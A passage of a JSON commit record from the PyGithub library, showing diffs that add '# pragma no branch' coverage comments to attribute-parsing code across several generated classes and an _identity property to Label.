\"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":21,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","changes":53,"additions":32,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","filename":"src/github/IssueComment.py"},{"patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","filename":"src/github/IssueEvent.py"},{"patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","changes":13,"additions":10,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py"},{"patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","filename":"src/github/Milestone.py"},{"patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":26,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","filename":"src/github/NamedUser.py"},{"patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":24,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","changes":48,"additions":24,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","filename":"src/github/Organization.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","filename":"src/github/Permissions.py"},{"patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","filename":"src/github/Plan.py"},{"patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", 